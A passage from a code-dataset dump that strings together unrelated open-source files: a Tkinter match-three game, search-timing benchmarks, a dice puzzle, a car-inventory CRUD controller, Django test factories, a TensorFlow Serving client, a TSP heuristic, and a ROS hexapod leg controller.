teleporter=(int(case.attrib[\"flux_tp_vers\"][1]),int(case.attrib[\"flux_tp_vers\"][3]))\n except:\n teleporter=None\n if teleporter!=None:\n L_teleporter.append(teleporter)\n if contenu in L_couleur:\n if case.tag==\"Cellule\":\n self.grille.grille[i,j]=Case_Normale(i,j,flux,orientation,Bonbon_normal(contenu),teleporter)\n elif case.tag==\"Cellule_Gelee\":\n self.grille.grille[i,j]=Case_Gelee(i,j,flux,orientation,Bonbon_normal(contenu),niveau_gel,teleporter)\n elif contenu==\"Roquette Horizontale\":\n if case.tag==\"Cellule\":\n self.grille.grille[i,j]=Case_Normale(i,j,flux,orientation,Roquette(\"H\"),teleporter)\n elif case.tag==\"Cellule_Gelee\":\n self.grille.grille[i,j]=Case_Gelee(i,j,flux,orientation,Roquette(\"H\"),niveau_gel,teleporter)\n elif contenu==\"Roquette verticale\":\n if case.tag==\"Cellule\":\n self.grille.grille[i,j]=Case_Normale(i,j,flux,orientation,Roquette(\"V\"),teleporter)\n elif case.tag==\"Cellule_Gelee\":\n self.grille.grille[i,j]=Case_Gelee(i,j,flux,orientation,Roquette(\"V\"),niveau_gel,teleporter)\n elif contenu==\"Avion\":\n if case.tag==\"Cellule\":\n self.grille.grille[i,j]=Case_Normale(i,j,flux,orientation,Avion(),teleporter)\n elif case.tag==\"Cellule_Gelee\":\n self.grille.grille[i,j]=Case_Gelee(i,j,flux,orientation,Avion(),niveau_gel,teleporter)\n elif contenu==\"Bombe\":\n if case.tag==\"Cellule\":\n self.grille.grille[i,j]=Case_Normale(i,j,flux,orientation,Bombe(),teleporter)\n elif case.tag==\"Cellule_Gelee\":\n self.grille.grille[i,j]=Case_Gelee(i,j,flux,orientation,Bombe(),niveau_gel,teleporter)\n elif contenu==\"Etoile\":\n if case.tag==\"Cellule\":\n self.grille.grille[i,j]=Case_Normale(i,j,flux,orientation,Etoile(),teleporter)\n elif case.tag==\"Cellule_Gelee\":\n self.grille.grille[i,j]=Case_Gelee(i,j,flux,orientation,Etoile(),niveau_gel,teleporter)\n elif contenu==\"Deflagrateur\":\n if case.tag==\"Cellule\":\n self.grille.grille[i,j]=Case_Normale(i,j,flux,orientation,Déflagrateur(),teleporter)\n elif case.tag==\"Cellule_Gelee\":\n self.grille.grille[i,j]=Case_Gelee(i,j,flux,orientation,Déflagrateur(),niveau_gel,teleporter)\n elif case.tag==\"Cellule_Vide\":\n self.grille.grille[i,j]=Case_Vide(i,j,flux,orientation)\n if not c:\n c=True\n self.grille.element_detruit={\n \"roquette\":0,\n \"bombe\":0,\n \"avion\":0,\n \"déflagrateur\":0, \n \"etoiles\":0,\n \"bonbon_normal\":{\n \"yellow\":0,\n \"blue\":0,\n \"red\":0,\n \"green\":0,\n \"magenta\":0\n }}\n for teleporter_exit in L_teleporter:\n self.grille.grille[teleporter_exit[0],teleporter_exit[1]].teleporter_exit=True\n self.display()\n def display(self):\n d_n=0\n d_m=4\n print(\"display update !\")\n img_size=768/(self.n+2)\n if img_size<50:\n img_size=50\n if img_size>100:\n img_size=100\n img_size=int(img_size)\n for i in range(self.n):\n for j in range(self.m):\n #Display image at i,j\n img=PIL.Image.fromarray(self.grille.grille[i,j].icon())\n img=img.resize((img_size,img_size))\n img=PIL.ImageTk.PhotoImage(img,master=self)\n self.liste_img.append(img)\n label = TK.Label(self, image = img)\n label.image = img\n label.bind(\"\" ,lambda event,i=i,j=j:self.click(i,j))\n label.grid(row=i+d_n,column=j+d_m)\n #label.wm_attributes(\"-transparentcolor\", 'grey')\n self.liste_label.append(label) \n string_stats=\"Elements detruits :\\n\"\n for i in range(len(L_couleur)):\n string_stats+=\"Bonbon \"+L_couleur[i]+\" : \"+str(self.grille.element_detruit[\"bonbon_normal\"][L_couleur[i]])+\"\\n\"\n string_stats+=\"Roquette: \"+str(self.grille.element_detruit[\"roquette\"])+\"\\n\"\n string_stats+=\"Bombe: \"+str(self.grille.element_detruit[\"bombe\"])+\"\\n\"\n string_stats+=\"Avion: \"+str(self.grille.element_detruit[\"avion\"])+\"\\n\"\n string_stats+=\"Déflagrateur: \"+str(self.grille.element_detruit[\"déflagrateur\"])+\"\\n\"\n string_stats+=\"Etoile: \"+str(self.grille.element_detruit[\"etoiles\"])+\"\\n\"\n string_stats+=\"\\nNombre de coup restant : \"+ str(self.nb_coup)\n string_stats+=\"\\n\\nObjectifs : \"\n for ob in self.grille.L_objectifs:\n string_stats+=\"\\n Détruitre \"+str(ob[\"Nombre\"])+\" \"+ob[\"Cible\"]\n self._label_stats.config(text=string_stats)\n def clear_display(self):\n for label in self.liste_label:\n label.destroy()\n del label\n for img in self.liste_img:\n del img\n def restart_window(self):\n print(\"Restart window !\")\n try:\n self._top.destroy()\n except:\n pass\n x,y=str(self.winfo_x()),str(self.winfo_y())\n self.destroy()\n self.__init__(n=self.n,m=self.m,grille=self.grille,nb_coup=self.nb_coup,coo=\"+\"+x+\"+\"+y)\n self.display()\n self.mainloop()\n def click(self,i,j):\n print(i,j)\n if self.echange_autorise and self.nb_coup>0:\n if self.previous==None:\n self.previous=i,j\n else:\n if self.grille.echange(self.previous,(i,j)):\n self.echange_autorise=False\n self.display()\n self.nb_coup-=1\n self.after(10*self._time_interval,self.cadencage,True,i,j,self.previous) \n print(self.grille)\n self.previous=None\n def cadencage(self,first_time=False,i=None,j=None,previous=None):\n if not first_time:\n print(\"iteration\")\n if self.grille.recherche_pattern():\n print(\"yo\")\n self.after(self._time_interval,self.refill)\n else:\n self.after(self._time_interval,self.refill)\n else:\n print(\"first time\")\n if self.grille.recherche_pattern():\n print(\"yo\")\n self.after(self._time_interval,self.refill)\n elif len(self.grille.liste_vides())>0:\n self.after(self._time_interval,self.refill)\n else:\n self.echange_autorise=True\n self.grille.echange(previous,(i,j))\n self.nb_coup+=1\n self.display()\n def refill(self):\n print(\"Refill des cases\")\n L=self.grille.liste_vides()\n if len(L)>0:\n self.boucle_refill(L)\n else:\n \n if self.grille.recherche_pattern():\n self.echange_autorise=False\n self.after(self._time_interval,self.refill)\n elif self.grille.check_objectif():\n print(\"fin\")\n self.end(\"Gagné\")\n elif self.nb_coup==0:\n print(\"fin\")\n self.end(\"Perdu\")\n else:\n self.echange_autorise=True\n self.display()\n self.restart_window()\n def boucle_refill(self,L):\n if len(L)>0:\n if not self.grille.gestion_flux():\n self.grille.gestion_flux_secondaire()\n self.display()\n self.after(self._time_interval,self.boucle_refill,L[1:])\n else:\n self.display()\n self.after(self._time_interval,self.refill)\n def start(self):\n print(\"Start\")\n self.grille.element_detruit={\n \"roquette\":0,\n \"bombe\":0,\n \"avion\":0,\n \"déflagrateur\":0, \n \"etoiles\":0,\n \"bonbon_normal\":{\n \"yellow\":0,\n \"blue\":0,\n \"red\":0,\n \"green\":0,\n \"magenta\":0\n }\n }\n self.display()\n print(self.grille)\n self._music_player.play()\n self.mainloop()","repo_name":"edayot/mini-poo","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":47644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17299831751","text":"import time\nimport matplotlib.pyplot as plt\nfrom index_creation import create_index\nfrom search_functions import nextPhraseOverCorpus,next_term_binary,next_term_linear,next_term_galloping\n\ndef run_queries(query_file,inverted_index,next):\n with open(query_file,'r') as f:\n phrases = f.readlines()\n response_times = []\n for phrase in phrases:\n # print(f'Searching for :{phrase.strip()}')\n before = time.time()\n result = nextPhraseOverCorpus(inverted_index,phrase.strip().split(' '),next)\n # if result is None:\n # print(phrase)\n after = time.time()\n response_times.append(((after-before)*1000,len(phrase.strip().split(\" \"))))\n # print(\"\")\n return response_times\n\ndef get_average_response_times(response_times):\n aggregate = {}\n for time,length in response_times:\n # avg_time[length] = 0\n if aggregate.get(length) is not None:\n aggregate[length]['time'] += time\n aggregate[length]['count'] += 1\n else:\n aggregate[length] = {}\n aggregate[length]['time'] = time \n aggregate[length]['count'] = 1\n avg_resp_time = []\n for length in aggregate.keys():\n avg_resp_time.append((length,aggregate[length]['time']/aggregate[length]['count']))\n avg_resp_time.sort(key=lambda x:x[0])\n return avg_resp_time\n\ndef longest_posting_list_data(inverted_index,next,query_file='queries_2.txt'):\n with open(query_file,'r') as f:\n phrases = f.readlines()\n response_times = []\n for phrase in phrases:\n # print(f'Searching for :{phrase.strip()}')\n before = time.time()\n result = nextPhraseOverCorpus(inverted_index,phrase.strip().split(' '),next)\n after = time.time()\n terms = phrase.strip().split(' ')\n longest_posting_list_len = max(inverted_index[terms[0]]['freq'],inverted_index[terms[1]]['freq'])\n response_times.append(((after-before)*1000,longest_posting_list_len))\n # print(\"\")\n return get_average_response_times(response_times)\n\n\nif __name__ == '__main__':\n inverted_index = create_index()\n mode = int(input('Enter 1 for len of query vs time, 2 for longest posting list vs time:'))\n if mode == 1:\n query_file = 'queries.txt'\n # run_queries(query_file, inverted_index,next_term_binary)\n # run_queries(query_file, inverted_index,next_term_linear)\n # run_queries(query_file, inverted_index,next_term_galloping)\n # print(get_average_response_times(run_queries(query_file, inverted_index,next_term_binary)))\n \n # Query length vs Time\n times_binary = get_average_response_times(run_queries(query_file,inverted_index,next_term_binary))\n # print(times_binary)\n times_linear = get_average_response_times(run_queries(query_file,inverted_index,next_term_linear))\n times_galloping = get_average_response_times(run_queries(query_file,inverted_index,next_term_galloping))\n\n # Get the lengths of the queries\n lengths_x = [l for (l,t) in times_binary]\n # print(lengths_x)\n time_b_y = [t for (l,t) in times_binary]\n # print(time_b_y)\n time_l_y = [t for (l,t) in times_linear]\n time_g_y = [t for (l,t) in times_galloping]\n\n # Plot all lines\n plt.plot(lengths_x,time_b_y,label = 'binary_next')\n plt.plot(lengths_x,time_l_y,label = 'linear_next')\n plt.plot(lengths_x,time_g_y,label = 'galloping_next')\n\n # naming the x axis\n plt.xlabel('Length of queries')\n # naming the y axis\n plt.ylabel('Average response times(in ms)')\n\n plt.title('Average Response Times vs Query Length')\n \n plt.legend()\n \n plt.show()\n else:\n # posting list len vs time\n query_file = 'queries_2.txt'\n times_binary = longest_posting_list_data(inverted_index,next_term_binary,query_file)\n times_linear = longest_posting_list_data(inverted_index,next_term_linear,query_file)\n times_galloping = longest_posting_list_data(inverted_index,next_term_galloping,query_file)\n\n # Get the lengths of the queries\n lengths_x = [l for (l,t) in times_binary]\n # print(lengths_x)\n time_b_y = [t for (l,t) in times_binary]\n # print(time_b_y)\n time_l_y = [t for (l,t) in times_linear]\n time_g_y = [t for (l,t) in times_galloping]\n\n # Plot all lines\n plt.plot(lengths_x,time_b_y,label = 'binary_next')\n plt.plot(lengths_x,time_l_y,label = 'linear_next')\n plt.plot(lengths_x,time_g_y,label = 'galloping_next')\n\n # naming the x axis\n plt.xlabel('Length of posting lists')\n # naming the y axis\n plt.ylabel('Average response times(in ms)')\n\n plt.title('Average Response Times vs Longest posting list Length')\n \n plt.legend()\n \n plt.show()","repo_name":"Dsdroid1/IR-Assignments","sub_path":"Assignment 3/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":4982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74257673688","text":"def winning_die(enemy):\n\tplayer=sorted(enemy)\n\tl=len(player)\n\t#n=min(player[l-1]-1,l-1)\n\t#player[l-1]-=n\n\t#for i in range(n): player[i]+=1\n\tfor i in range(player[l-1]-1):\n\t\tplayer[i%(l-1)]+=1\n\tplayer[l-1]=1\n\tresult=sum(sum(int(player[i]>enemy[j])-int(player[i] e:\n\t\t\t\t\ttotal += 1\n\t\t\t\telif p < e:\n\t\t\t\t\ttotal -= 1\n\t\treturn total > 0\n\tassert test_dice([3, 3, 3, 3, 6, 6])\n\tassert test_dice([4, 4, 4, 4, 4, 4])\n\tassert test_dice([1, 1, 1, 4])\n\tassert test_dice([2, 3, 4, 5, 6, 7])\n\tassert test_dice([1, 1, 1, 2, 2, 2, 3, 3, 3, 4])\n\tassert winning_die([1, 2, 3, 4, 5, 6]) == []","repo_name":"cielavenir/checkio","sub_path":"incinerator/unfair-dice.py","file_name":"unfair-dice.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5042128599","text":"from view.interfaceLoja import Loja\nfrom view.interfaceLogin import Login\nfrom model.carro import Carro\n\nclass Controller:\n \"\"\" Controla os Models\n Controla as Interface\n Controla as interecoes entre models e interface\n Executa funcoes de CRUD e persistencia\n \"\"\"\n def __init__(self, usuario=None) -> None:\n \"\"\" Inicializa o controlador com algumns parametros\n usuario - Usuario logado para realizar as operacoes\n list_carros - Lista de carros cadastrados no sistema\n loginWindow - Interface principal de login \n usada para fazer logout\n lojaWindow - Interface principal da Loja\n load_data() - Funcao para carregar os dados salvos\n \"\"\"\n\n self.usuario = usuario\n self.list_carros = []\n self.loginWindow = Login(controller=self)\n self.lojaWindow = None\n self.load_data()\n\n def run(self):\n \"\"\" Inicializa o loop principal com a tela de Login \"\"\"\n self.loginWindow.mainloop()\n\n def load_data(self):\n \"\"\" Carrega os arquivos gravados em txt \"\"\"\n with open('./model/db/carros.txt', 'r') as file:\n for i in file.read().split('\\n'):\n if i != '':\n values = i.split('/')\n self.list_carros.append(Carro(values[0], values[1], int(values[2]), float(values[3]), values[4])) \n for i in self.list_carros:\n print(i)\n\n def save_data(self):\n \"\"\" Implementa a persistencia em arquivos txt \"\"\"\n with open('./model/db/carros.txt', 'w') as file:\n for i in self.list_carros:\n line = i.marca.upper() + '/' + i.modelo.upper() + '/' + str(i.ano).upper() + '/' + str(i.preco).upper() + '/' + i.estado.upper() + '\\n'\n file.write(line)\n\n def add_carro(self, marca, modelo, ano, preco, estado):\n \"\"\" cadastra novo carro a lista de carros\n retorna True or False\n \"\"\"\n try:\n self.list_carros.append(Carro(marca, modelo, ano, preco, estado))\n print('CRIADO', self.list_carros)\n return True\n except:\n return False\n\n def update_carro(self, carro, new_preco):\n \"\"\" atualiza somente preco de um carro existente\n retorna True or False\n \"\"\"\n for i in self.list_carros:\n if i.marca == carro[0]:\n if i.modelo == carro[1]:\n if str(i.ano) == str(carro[2]):\n if 'R$ '+str(i.preco) == carro[3]:\n if i.estado == carro[4]:\n i.preco = new_preco\n return True\n return False\n\n def delete_carro(self, carro):\n \"\"\" recebe uma lista com valores de um carro\n deleta a primeira ocorrencia\n \"\"\"\n for i in self.list_carros:\n if i.marca == carro[0]:\n if i.modelo == carro[1]:\n if str(i.ano) == str(carro[2]):\n if 'R$ '+str(i.preco) == carro[3]:\n if i.estado == carro[4]:\n self.list_carros.remove(i)\n print('DELETADO', i)\n return True\n return False\n\n\n def average_carros(self):\n \"\"\" retorna a média dos preços dos carros cadastrados\n \"\"\"\n sum, count = 0, len(self.list_carros)\n for i in self.list_carros:\n try:\n sum += float(i.preco)\n except:\n sum += i.preco\n return '{:.2f}'.format(sum/count)\n\n","repo_name":"Enzolp2/crud_python","sub_path":"controller/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19247738846","text":"from __future__ import absolute_import\n\nfrom factory import LazyAttributeSequence, Sequence\nfrom factory.django import DjangoModelFactory\n\nfrom .models import User\n\n\nclass UserFactory(DjangoModelFactory):\n class Meta:\n model = User\n\n email = LazyAttributeSequence(lambda o, n: '%s-user-%s@django.com' % (o.name.split()[0].lower(), n))\n name = Sequence(lambda n: 'User #%s' % n)\n password = 'password'\n\n @classmethod\n def _create(cls, target_class, *args, **kwargs):\n manager = cls._get_manager(target_class)\n return manager.create_user(*args, **kwargs)\n\n\nclass AdminUserFactory(UserFactory):\n email = LazyAttributeSequence(lambda o, n: '%s-admin-%s@django.com' % (o.name.split()[0].lower(), n))\n\n @classmethod\n def _create(cls, target_class, *args, **kwargs):\n manager = cls._get_manager(target_class)\n return manager.create_superuser(*args, **kwargs)\n","repo_name":"imkevinxu/yesterday","sub_path":"yesterday/accounts/factories.py","file_name":"factories.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"15661175291","text":"from __future__ import print_function\n\nimport argparse\nfrom grpc.beta import implementations\n\nimport six\nimport tensorflow as tf\n\nfrom tensorflow_serving.apis import predict_pb2\nfrom tensorflow_serving.apis import prediction_service_pb2\n\nfrom trainer import taxi\n\n_TIMEOUT_SECONDS = 5.0\n\n\ndef _do_inference(hostport, examples_file, num_examples):\n \"\"\"Sends a request to the model and returns the result.\n\n Args:\n hostport: path to prediction service like host:port\n examples_file: path to csv file containing examples, with the first line\n assumed to have the column headers\n num_examples: number of requests to send to the server\n\n Returns:\n Response from model server\n \"\"\"\n host, port = hostport.split(':')\n channel = implementations.insecure_channel(host, int(port))\n stub = prediction_service_pb2.beta_create_PredictionService_stub(channel)\n\n csv_coder = taxi.make_csv_coder()\n f = open(examples_file, 'r')\n f.readline() # skip header line\n\n for _ in range(num_examples):\n request = predict_pb2.PredictRequest()\n request.model_spec.name = 'chicago_taxi'\n request.model_spec.signature_name = 'predict'\n one_line = f.readline()\n if not one_line:\n print('End of example file reached')\n return\n\n one_example = taxi.clean_raw_data_dict(csv_coder.decode(one_line))\n print(one_example)\n\n raw_feature_spec = taxi.get_raw_feature_spec()\n for key, val in six.iteritems(one_example):\n if key != 'tips':\n tfproto = tf.contrib.util.make_tensor_proto(\n val, shape=[1], dtype=raw_feature_spec[key].dtype)\n request.inputs[key].CopyFrom(tfproto)\n\n return stub.Predict(request, _TIMEOUT_SECONDS)\n\n\ndef main(_):\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--num_examples',\n help=('Number of examples to send to the server.'),\n default=1,\n type=int)\n\n parser.add_argument(\n '--server',\n help=('Prediction service host:port'),\n required=True)\n\n parser.add_argument(\n '--examples_file',\n help=('Path to csv file containing examples.'),\n required=True)\n\n known_args, _ = parser.parse_known_args()\n result = _do_inference(known_args.server,\n known_args.examples_file,\n known_args.num_examples)\n print(result)\n\n\nif __name__ == '__main__':\n tf.app.run()\n","repo_name":"eric-erki/TensorFlow-Model-Analysis","sub_path":"examples/chicago_taxi/chicago_taxi_client.py","file_name":"chicago_taxi_client.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"3144583773","text":"from itertools import chain\nfrom HW_Feb3_TSP_Playground.tcp_sandbox import euclidean_distance\n\n\ndef sum_of_sides(instance, figure):\n res = 0\n for i in range(len(figure)):\n x = figure[i]\n y = figure[(i + 1) % len(figure)]\n res += euclidean_distance(instance[x], instance[y])\n return res\n\n\ndef sum_dist(instance, x, y, v):\n return euclidean_distance(instance[x], instance[v]) + euclidean_distance(instance[y], instance[v])\n\n\ndef sum_dist_edge(instance, x, y, v):\n return sum_dist(instance, x, y, v) - euclidean_distance(instance[x], instance[y])\n\n\ndef solve_tsp_ni(instance):\n n = len(instance)\n _, start_triangle = min((sum_of_sides(instance, triangle), triangle) for triangle in combinations(range(n), 3))\n\n res = []\n res.extend(start_triangle)\n\n not_visited = set(range(len(instance))) - set(start_triangle)\n\n while not_visited:\n perim = sum_of_sides(instance, res)\n print(\"perim = {}\".format(perim))\n options = []\n\n for i in range(len(res)):\n x = res[i]\n y = res[(i + 1) % len(res)]\n edge_w = euclidean_distance(instance[x], instance[y])\n\n # remove one edge and calc new perimeter with all possible vertices\n options_for_edge = [(sum_dist(instance, x, y, v) + (perim - edge_w), (i, v)) for v in not_visited]\n options = chain(options, options_for_edge)\n\n _, (pos, min_v) = min(options)\n res.insert(pos, min_v)\n not_visited.remove(min_v)\n print(res)\n\n return res","repo_name":"gelkin/DiscreteOptimizationCourse","sub_path":"HW_Feb3_TSP_Playground/solve_tsp_ni.py","file_name":"solve_tsp_ni.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8410422779","text":"import pygame\nimport threading\nfrom BitdoKeyMappings import BITDO_KEY_MAPPINGS_JOYBUTTON, BITDO_KEY_MAPPINGS_JOYAXIS, parseButton\n\nclass Controller:\n def __init__(self, name, id, keyMapping, instance):\n self.button_data = None\n self.hat_data = None\n self.done = True\n self.controllerInstance = instance\n self.name = name\n self.keyMapping = keyMapping\n \n \n if not self.button_data:\n self.button_data = {}\n for i in range(self.controllerInstance.get_numbuttons()):\n self.button_data[i] = False\n \n if not self.hat_data:\n self.hat_data = {}\n for i in range(self.controllerInstance.get_numhats()):\n self.hat_data[i] = (0,0)\n","repo_name":"davidbrouillette/KDigitalPortland-PingPong","sub_path":"v1/python/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"2322974384","text":"# \"\"\"\n# This is the interface that allows for creating nested lists.\n# You should not implement it, or speculate about its implementation\n# \"\"\"\n#class NestedInteger(object):\n# def isInteger(self):\n# \"\"\"\n# @return True if this NestedInteger holds a single integer, rather than a nested list.\n# :rtype bool\n# \"\"\"\n#\n# def getInteger(self):\n# \"\"\"\n# @return the single integer that this NestedInteger holds, if it holds a single integer\n# Return None if this NestedInteger holds a nested list\n# :rtype int\n# \"\"\"\n#\n# def getList(self):\n# \"\"\"\n# @return the nested list that this NestedInteger holds, if it holds a nested list\n# Return None if this NestedInteger holds a single integer\n# :rtype List[NestedInteger]\n# \"\"\"\n\nclass NestedIterator(object):\n\n def __init__(self, nestedList):\n \"\"\"\n Initialize your data structure here.\n :type nestedList: List[NestedInteger]\n \"\"\"\n self.it = NestedIterator.mygenerator(nestedList)\n self.cache = None\n\n @staticmethod\n def mygenerator(nestedList):\n for ni in nestedList:\n if ni.isInteger():\n yield ni.getInteger()\n else:\n for v in NestedIterator.mygenerator(ni.getList()):\n yield v\n\n def next(self):\n \"\"\"\n :rtype: int\n \"\"\"\n if self.cache is not None:\n out = self.cache\n self.cache = None\n return out\n else:\n return self.it.next()\n\n\n def hasNext(self):\n \"\"\"\n :rtype: bool\n \"\"\"\n try:\n self.cache = self.it.next()\n return True\n except StopIteration:\n return False\n\n\n# Your NestedIterator object will be instantiated and called as such:\n# i, v = NestedIterator(nestedList), []\n# while i.hasNext(): v.append(i.next())\n","repo_name":"ckclark/leetcode","sub_path":"py/flatten-nested-list-iterator.py","file_name":"flatten-nested-list-iterator.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2266729260","text":"#!/usr/bin/env python3\nfrom math import fabs, exp\n\nimport numpy\nimport rospy\nfrom control_msgs.msg import JointControllerState\nfrom walknet_curvewalking.msg import rules\n\nimport walknet_curvewalking_project.phantomx.RobotSettings as RSTATIC\nfrom walknet_curvewalking_project.motion_primitives.stance_movement_body_model import StanceMovementBodyModel\nfrom walknet_curvewalking_project.motion_primitives.swing_movement_bezier import SwingMovementBezier\nfrom walknet_curvewalking_project.phantomx.SingleLeg import SingleLeg\n\n\nclass SingleLegController:\n def __init__(self, name, note_handle, swing, robot, step_length, shift_aep, shift_aep_x, decrease_inner_stance):\n self.robot = robot\n self.name = name\n self.nh = note_handle\n self.rate = rospy.Rate(RSTATIC.controller_frequency)\n if 'l' in self.name:\n rospy.loginfo(\"leg on left side movement_dir 1\")\n self.movement_dir = 1\n else:\n rospy.loginfo(\"leg on right side movement_dir -1\")\n self.movement_dir = -1\n\n self.step_length = step_length\n\n self.shift_aep = shift_aep\n self.shift_aep_x = shift_aep_x\n rospy.loginfo(self.name + \": shift aep y = {}, shift aep x = {}\".format(self.shift_aep, self.shift_aep_x))\n\n self.stance_length_sum = []\n self.stance_count = 0\n self.current_stance_delayed = False\n self.current_stance_start = None\n self.current_stance_start_time = None\n self.current_swing_start_time = None\n self.stance_durations = []\n self.swing_durations = []\n\n self.decrease_inner_stance = decrease_inner_stance\n self.stance_diff = None\n\n self.leg = SingleLeg(name, self.movement_dir, self.step_length)\n\n self.swing_generator = SwingMovementBezier(self.leg)\n self.swing = swing\n self.swing_delays = 0\n self.init_pos = None\n self.last_stance_activation = None\n\n self.delay_1b = None\n self.threshold_rule3_ipsilateral = None\n self.threshold_rule3_contralateral = None\n\n self.displ_leg_ipsilateral_rule3_default = 0.4\n self.displ_leg_ipsilateral_rule2_default = 0.5375\n\n self.displ_leg_rule1 = 0.7\n self.displ_leg_rule1b = 0.2\n self.displ_leg_rule2 = 0.1375\n self.displ_leg_rule3 = 0.3125\n if self.name == \"lm\" or self.name == \"rm\":\n self.displ_leg_rule3 = 0.0\n elif self.name == \"lr\" or self.name == \"rr\":\n self.displ_leg_rule3 = 0.375\n\n self.target_pos = RSTATIC.initial_aep[RSTATIC.leg_names.index(self.name) // 2].copy()\n self.target_pos[1] = self.target_pos[1] * self.movement_dir\n\n if self.robot is None:\n self.stance_net = None\n else:\n self.stance_net = StanceMovementBodyModel(self)\n\n self.alpha_sub = rospy.Subscriber('/phantomx/j_c1_' + self.name + '_position_controller/state',\n JointControllerState, self.leg.c1_callback)\n self.beta_sub = rospy.Subscriber('/phantomx/j_thigh_' + self.name + '_position_controller/state',\n JointControllerState, self.leg.thigh_callback)\n self.gamma_sub = rospy.Subscriber('/phantomx/j_tibia_' + self.name + '_position_controller/state',\n JointControllerState, self.leg.tibia_callback)\n\n self._rules_pub = rospy.Publisher('/walknet/' + self.name + '/rules', rules, queue_size=1)\n\n leg_behind_idx = RSTATIC.leg_names.index(self.name) + 2\n if 0 <= leg_behind_idx < 6:\n self._ipsilateral_rules_sub = rospy.Subscriber('/walknet/' + RSTATIC.leg_names[leg_behind_idx] +\n '/rules', rules, self.ipsilateral_rules_callback)\n leg_in_front_idx = RSTATIC.leg_names.index(self.name) - 2\n if 0 <= leg_in_front_idx < 6:\n self._ipsilateral_rules_sub = rospy.Subscriber('/walknet/' + RSTATIC.leg_names[leg_in_front_idx] +\n '/rules', rules, self.ipsilateral_rules_from_front_callback)\n neighbour_leg_idx = RSTATIC.leg_names.index(self.name) + (1 * self.movement_dir)\n if 0 <= neighbour_leg_idx < 6:\n self._contralateral_rules_sub = rospy.Subscriber('/walknet/' + RSTATIC.leg_names[neighbour_leg_idx] +\n '/rules', rules, self.contralateral_rules_callback)\n\n self.rule1 = True\n self.rule2_contra = True\n self.rule2_ipsi = True\n self.rule3_contra = True\n self.rule3_ipsi = True\n\n self.default_step_length = RSTATIC.default_stance_distance\n\n def set_init_pos(self, p):\n self.init_pos = p\n\n def set_pull_dependent_parameter(self, velocity, angle):\n rospy.loginfo(\"##################################################################\")\n\n # RULE 1\n v1 = 0.07\n v2 = 0.107\n v3 = 0.142\n self.delay_1b = 0.0\n if velocity <= v1:\n self.delay_1b = 0.27\n elif v1 < velocity <= v2:\n self.delay_1b = 0.27 + ((0.27 - 0.2) / (v1 - v2)) * (velocity - v1)\n elif v2 < velocity <= v3:\n self.delay_1b = 0.2 + (0.2 / (v2 - v3) * (velocity - v2))\n if self.delay_1b < 0.0:\n self.delay_1b = 0\n rospy.loginfo(self.name + \": self.delay_1b = \" + str(self.delay_1b))\n\n # ADJUST DEFAULT STEP LENGTH\n self.stance_diff = -pow(0.28 * (angle - 0.9), 2) + 0.02\n if self.stance_diff < 0:\n self.stance_diff = 0\n\n rospy.loginfo(\"self.decrease_inner_stance = \" + str(self.decrease_inner_stance))\n if self.decrease_inner_stance and (\n (angle < 0.0 and (self.name == \"rf\" or self.name == \"rm\" or self.name == \"rr\")) or (\n angle > 0.0 and (self.name == \"lf\" or self.name == \"lm\" or self.name == \"lr\"))):\n rospy.loginfo(self.name + \": STANCE DIFF = -\" + str(self.stance_diff))\n self.default_step_length -= self.stance_diff\n rospy.loginfo(self.name + \": default_step_length = \" + str(self.default_step_length))\n if self.step_length:\n self.leg.set_default_step_length(self.default_step_length)\n else:\n RSTATIC.initial_pep[RSTATIC.leg_names.index(self.name) // 2][0] += self.stance_diff\n rospy.loginfo(self.name + \": update RobotSettings new initial pep = \" + str(\n RSTATIC.initial_pep[RSTATIC.leg_names.index(self.name) // 2][0]))\n else:\n rospy.loginfo(self.name + \": maintain original default_step_length = \" + str(self.default_step_length))\n\n # RULE 3\n self.threshold_rule3_ipsilateral = fabs(self.default_step_length) / (1.0 + exp(50 * (velocity - 0.085)))\n self.threshold_rule3_contralateral = fabs(self.default_step_length) * (0.5 - 1.5 * velocity)\n rospy.logerr(self.name + \": threshold_rule3_ipsilateral = \" + str(self.threshold_rule3_ipsilateral) +\n \"; threshold_rule3_contralateral = \" + str(self.threshold_rule3_contralateral) +\n \"; default_step_length = \" + str(self.default_step_length) + \"; velocity = \" + str(velocity))\n\n if self.leg.viz and self.step_length:\n self.leg.pub_default_pep_threshold()\n\n def pub_rules(self, rules_msg):\n self._rules_pub.publish(rules_msg)\n\n def ipsilateral_rules_callback(self, data):\n shift_distance = 0\n if self.rule1:\n shift_distance += self.default_step_length * data.rule1\n if self.rule2_ipsi:\n shift_distance += self.default_step_length * data.rule2_ipsilateral\n self.leg.shift_pep_ipsilateral(shift_distance)\n\n def ipsilateral_rules_from_front_callback(self, data):\n shift_distance = 0\n if self.rule3_ipsi:\n shift_distance += self.default_step_length * data.rule3_ipsilateral\n self.leg.shift_pep_ipsilateral_from_front(shift_distance)\n\n def contralateral_rules_callback(self, data):\n shift_distance = 0\n if self.rule2_contra:\n shift_distance += self.default_step_length * data.rule2_contralateral\n if self.rule3_contra:\n shift_distance += self.default_step_length * data.rule3_contralateral\n if (self.name == \"lr\" or self.name == \"rr\") and self.rule1:\n shift_distance += self.default_step_length * data.rule1\n 